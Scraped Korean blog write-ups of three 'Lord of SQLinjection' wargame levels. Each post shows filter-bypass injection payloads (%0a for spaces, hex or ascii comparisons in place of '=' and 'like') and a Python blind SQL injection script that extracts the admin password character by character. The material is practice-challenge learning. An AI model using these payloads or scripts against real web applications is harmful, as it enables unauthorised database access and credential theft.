php 코드를 보면 이전 문제들 보다 필터가 많이 걸려있다.

공백, =, like, 0x가 필터에 걸려있기 때문에 이들을 전부 우회했다.

우선 pw를 구하는 방법은 아래와 같다.

?pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26length(pw)in(8)

공백은 %0a, like는 in구문을 사용하였고, 0x가 필터에 걸려있기 때문에 in 구문을 통해 guest를 hex로 변환하여 id가 admin인 칼럼만 추출하도록 했다.


pw 길이를 구했으니 이제 blind sqlinjection으로 pw를 추출한다.

import urllib, urllib2
url = "https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?"
flag = ""

for i in range(1, 9):
        for j in range(33, 128):
                payload = "pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26hex(mid(pw,{},1))%0ain%0a({})".format(i, hex(j)[2:])
                print url+payload
                req = urllib2.Request(url+payload)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)




'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection assassin  (0) 2017.08.04
Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30

문제를 보면 pw, no 파라미터가 있다. 힌트로 나온 php 코드를 보면 pw는 싱글쿼터에 싸여 있고 싱글쿼터는 필터링 처리가 되어있어 공격하기 어려워 보인다. 하지만 no는 쿼터로 싸여 있지 않다. 이 부분에서 공격이 가능하다.

먼저 pw의 길이를 구해야 한다. pw의 길이는 아래와 같이 구한다.

?pw=1&no=1 or id like 0x61646d696e and length(pw) like 8


id의 값을 admin을 하지 않은 이유는 no 파라미터를 통해 들어간 값은 싱글쿼터에 싸여있지 않고, admin은 문자열이기 때문에 mysql에서 문자열은 싱글쿼터에 싸여 있어야지 쿼리로 인식된다. 

따라서 admin을 hex로 변환한 0x61646d696e를 사용했다.


pw의 길이를 구했으니 pw의 값을 blind sql injection을 통해 알아내보자.

아래는 blind sql injection을 위한 코드다.

import urllib, urllib2
url = "http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?"
flag = ""

for i in range(1, 9):
        for j in range(31, 128):
                dat = {'pw': '1',
                       'no': "1 or id like 0x61646d696e and ord(mid(pw,{},1)) like {}".format(i, j)}
                dat = urllib.urlencode(dat)
                print url+dat
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25

인젝션을 통해 admin의 비밀번호를 알아내어 pw에 넣으면 풀리는 문제다. =이 필터에 걸려 있기 때문에 like를 사용하여 풀 수 있다.

먼저 비밀번호의 길이를 구해야 한다. 비밀번호의 길이는 아래와 같이 구했다.

?pw=1%27||ascii(id)-103%26%26length(pw)%20like%20%278
pw가 8자리라는 것을 알았다. 이젠 blind sql injection을 통해 비밀번호를 따면 된다.

import urllib, urllib2

flag = ""
for i in range(1,9):
        for j in range(33, 128):
                url = "http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?"
                url += "pw=1%27||ascii(id)-103%26%26ascii(mid(pw,{},1))%20like%20%27{}".format(i, j)
                print url 
                req = urllib2.Request(url)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=d4cc8c809fqewr27de6749e5eaa6r3e1f1500957474; PHPSESSID=498O4fb9opfr78vauqu88eq611')

                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+] Find! : " + chr(j)
                        flag += chr(j)
                        break
print "[+] Find Flag! : " + flag


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection Troll  (0) 2017.07.25

+ Recent posts